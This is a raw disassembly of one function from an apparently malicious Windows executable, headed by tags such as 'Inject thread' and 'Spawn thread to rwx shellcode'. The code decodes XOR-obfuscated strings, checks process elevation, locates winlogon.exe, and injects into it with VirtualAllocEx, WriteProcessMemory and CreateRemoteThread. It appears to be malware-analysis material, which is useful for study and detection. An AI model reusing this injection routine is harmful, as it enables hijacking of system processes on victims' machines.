Function at 0x140008f90
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate processes
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x14008d7c0]
xor rax, rsp
mov qword [rbp + 0x170], rax
xor r12d, r12d
movsd xmm0, qword [str.cESA_XP]
movsd qword [rbp - 0x40], xmm0
mov eax, dword [0x140081c60]
mov dword [rbp - 0x38], eax
mov r8d, r12d
movdqa xmm7, xmmword [0x140081eb0]
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x1400090df
movdqa xmm3, xmmword [0x140081ef0]
movdqa xmm2, xmmword [0x140081e60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140081ea0]
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140081ec0]
movd xmm0, dword [str.cESA_XP]
xorps xmm2, xmm0
movd dword [rbp - 0x40], xmm2
movdqa xmm2, xmmword [0x140081e70]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140081ea0]
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140081ec0]
movd xmm0, dword [rbp - 0x3c]
xorps xmm2, xmm0
movd dword [rbp - 0x3c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1400090f0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rbp - 0x40]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], r12b
jne 0x140009140
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003ae0
lea rcx, [rsp + 0x40]
call fcn.140008810
mov ecx, 8
call fcn.14006dc70
lea rcx, [0x1400032e0]
mov qword [rax], rcx
mov qword [rbp - 0x40], rax
lea rcx, [rbp - 0x18]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r12d
mov r9, rax
lea r8, [0x14000a7a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x20], rax
test rax, rax
je 0x14000a18e
cmp dword [rbp - 0x18], 0
je 0x14000a182
movaps xmm0, xmmword [rbp - 0x20]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14000a182
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
movups xmm0, xmmword [str.q_FZ]
movups xmmword [rbp - 0x20], xmm0
mov eax, dword [0x140081c78]
mov dword [rbp - 0x10], eax
movzx eax, word [0x140081c7c]
mov word [rbp - 0xc], ax
mov r8d, r12d
cmp r15d, 2
jl 0x140009317
movdqa xmm5, xmmword [0x140081e60]
movdqa xmm4, xmmword [0x140081ef0]
movdqa xmm6, xmmword [0x140081ea0]
movdqa xmm0, xmmword [0x140081ec0]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x20]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009230
cmp r8d, 0x16
jge 0x140009360
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140009330
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rbp - 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140009380
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ae0
lea rcx, [rsp + 0x40]
call fcn.140008810
mov ebx, r12d
mov qword [rbp - 0x40], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp - 0x40]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400093f4
mov dword [rbp - 0x30], 4
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rbp - 0x20]
mov edx, reloc.WS2_32.dll_sendto
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rbp - 0x20]
mov rcx, qword [rbp - 0x40]
test rcx, rcx
je 0x140009403
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, rdi
test ebx, ebx
je 0x14000a03c
movsd xmm0, qword [0x140081c80]
movsd qword [rbp - 0x40], xmm0
movzx ecx, word [0x140081c88]
mov word [rbp - 0x38], cx
movzx eax, byte [0x140081c8a]
mov byte [rbp - 0x40], 0x48
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
xor cl, 0x38
mov byte [rbp - 0x38], cl
xor byte [rbp - 0x37], 0x39
xor al, 0x3a
mov byte [rbp - 0x36], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rbp - 0x40]
inc r8
cmp byte [rax + r8], 0
jne 0x140009472
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003ae0
lea rcx, [rsp + 0x40]
call fcn.140008810
lea rcx, [rbp + 0x40]
lea rax, str.XEFCG
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm0
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm1
mov eax, dword [rax + 0xb0]
mov dword [rcx + 0xb0], eax
mov r8d, r12d
cmp r15d, 2
jl 0x14000963d
movdqa xmm5, xmmword [0x140081e60]
movdqa xmm4, xmmword [0x140081ef0]
movdqa xmm6, xmmword [0x140081ea0]
movdqa xmm0, xmmword [0x140081ec0]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp + 0x40]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xb0
jl 0x140009550
cmp r8d, 0xb4
jge 0x140009683
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xb4
jl 0x140009650
movzx eax, word [0x140081c50]
movsd xmm0, qword [str.EBWWeR_T9]
mov word [rbp - 0x38], ax
movsd qword [rbp - 0x40], xmm0
mov byte [rbp - 0x40], 0x75
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
xor byte [rbp - 0x38], 0x38
xor byte [rbp - 0x37], 0x39
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
lea rax, [rbp - 0x40]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400096e0
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x20]
call fcn.140003ae0
nop
lea rcx, [rsp + 0x60]
call fcn.140008e20
nop
lea rdx, [rbp]
mov rcx, rax
call fcn.14000a390
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x140009755
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009750
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009750
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
mov qword [rsp + 0x70], r12
mov r14d, 7
mov qword [rsp + 0x78], r14
mov word [rsp + 0x60], r12w
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp]
call fcn.140003620
mov eax, dword [str._PF_]
mov dword [rbp - 0x20], eax
movzx ecx, word [0x140081b88]
mov word [rbp - 0x1c], cx
movzx eax, byte [0x140081b8a]
mov byte [rbp - 0x20], 0x50
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor cl, 0x34
mov byte [rbp - 0x1c], cl
xor byte [rbp - 0x1b], 0x35
xor al, 0x36
mov byte [rbp - 0x1a], al
lea r8, [rbp]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.140008360
mov rcx, rax
call fcn.140008810
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x38], rax
call fcn.14006d31c
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rsp + 0x40]
call fcn.140002060
nop
lea rcx, [rsp + 0x40]
call fcn.140002b20
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, r14
jbe 0x140009863
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000985e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000985e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
test bl, bl
je 0x140009905
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x38], rax
call fcn.14006d31c
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rbp - 0x20]
call fcn.140002060
nop
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 7
cmova rcx, qword [rbp - 0x20]
call fcn.14006d9a0
shr rax, 0x20
test eax, eax
jne 0x14000a19e
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x140009905
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009900
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009900
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
lea rbx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rbx, qword [rbp]
call fcn.14000bc90
mov rsi, rax
test rax, rax
je 0x14000999a
movzx edx, word [0x1400818f0]
mov word [rbp - 0x30], dx
movzx edx, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x30], 0x77
xor byte [rbp - 0x2f], 0x38
xor dl, 0x39
mov byte [rbp - 0x2e], dl
lea rdx, [rbp - 0x30]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
lea r8, [rbp + 0x40]
mov edx, 0x2712
mov rcx, rsi
call fcn.14000eb60
mov r8, rbx
mov edx, 0x2711
mov rcx, rsi
call fcn.14000eb60
xor r8d, r8d
mov edx, 0x4e2b
mov rcx, rsi
call fcn.14000eb60
mov rcx, rsi
call fcn.14000bd00
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rsi
call fcn.14000bc60
movups xmm0, xmmword [str.vXV]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [str._3_6...debM]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [0x140081ca8]
mov dword [rbp - 8], eax
movzx eax, word [0x140081cac]
mov word [rbp - 4], ax
mov r8d, r12d
cmp r15d, 2
jl 0x140009ae7
movdqa xmm5, xmmword [0x140081e60]
movdqa xmm4, xmmword [0x140081ef0]
movdqa xmm6, xmmword [0x140081ea0]
movdqa xmm0, xmmword [0x140081ec0]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x20]
mov edx, dword [rbp - 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140009a00
cmp r8d, 0x1e
jge 0x140009b30
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140009b00
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
lea rax, [rbp - 0x20]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140009b46
mov r8, rdi
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x40]
call fcn.140003ae0
lea rcx, [rsp + 0x40]
call fcn.140008810
mov qword [rbp - 0x40], 0x64
lea rcx, [rbp - 0x40]
call fcn.14000a530
lea rax, [rbp - 0x60]
mov qword [rbp - 0x40], rax
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x60]
call fcn.140003500
mov rbx, rax
lea rcx, [rsp + 0x40]
call fcn.140008e20
nop
lea rdx, [rbp - 0x80]
mov rcx, rax
call fcn.14000a390
nop
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140004d30
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140009bfd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009bf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009bf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
mov qword [rbp - 0x40], 0x64
lea rcx, [rbp - 0x40]
call fcn.14000a530
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdi, qword [rbp]
mov esi, r12d
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009c94
mov dword [rbp + 0x40], 0x130
lea rdx, [rbp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x140009c60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, r12d
jmp 0x140009c94
lea rdx, str.winlogon.exe
lea rcx, [rbp + 0x6c]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
test eax, eax
je 0x140009c88
lea rdx, [rbp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140009c60
jmp 0x140009c8b
mov esi, dword [rbp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140009d83
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r8, eax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
jne 0x140009ceb
mov r14d, 6
jmp 0x140009d83
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
movsxd r9, eax
mov qword [rsp + 0x20], r12
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140009d19
mov r14d, 5
jmp 0x140009d83
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140009d7d
lea rdx, [0x140081cf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140009d4d
mov r14d, 3
jmp 0x140009d83
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rsi
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, r12d
cmp rax, 0xffffffffffffffff
sete cl
lea r14d, [rcx + 1]
jmp 0x140009d83
mov r14d, 4
mov edx, r14d
lea rcx, [rbp - 0x80]
call fcn.14000a1b0
nop
movups xmm0, xmmword [str.y_XVWA_XV]
movups xmmword [rbp - 0x20], xmm0
movzx eax, word [0x140081b80]
mov word [rbp - 0x10], ax
movzx eax, byte [0x140081b82]
mov byte [rbp - 0xe], al
mov r8d, r12d
cmp r15d, 2
jl 0x140009ed7
movdqa xmm5, xmmword [0x140081e60]
movdqa xmm4, xmmword [0x140081ef0]
movdqa xmm6, xmmword [0x140081ea0]
movdqa xmm0, xmmword [0x140081ec0]
movdqa xmmword [rbp - 0x40], xmm0
lea rcx, [rbp - 0x20]
mov edx, dword [rbp - 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
andps xmm2, xmm7
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
andps xmm3, xmm7
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140009df0
cmp r8d, 0x13
jge 0x140009f20
movsxd rax, r8d
lea r9, [rbp - 0x20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140009ef0
lea r8, [rbp - 0x20]
lea rcx, [rbp - 0x80]
call fcn.1400088c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
lea rcx, [rsp + 0x40]
call fcn.140008810
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140009fa9
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009fa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009fa3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140009fe7
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009fe2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009fe2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006dfc4
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbp], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0xf
jbe 0x14000a146
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000a141
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movsd xmm0, qword [0x140081cb0]
movsd qword [rbp - 0x40], xmm0
movzx eax, byte [0x140081cb8]
mov byte [rbp - 0x40], Ordinal_79
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
xor al, 0x38
mov byte [rbp - 0x38], al
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea rax, [rbp - 0x40]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000a090
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003ae0
lea rcx, [rsp + 0x60]
call fcn.140008810
mov r8d, 0x104
lea rdx, [rbp + 0x40]
xor ecx, ecx
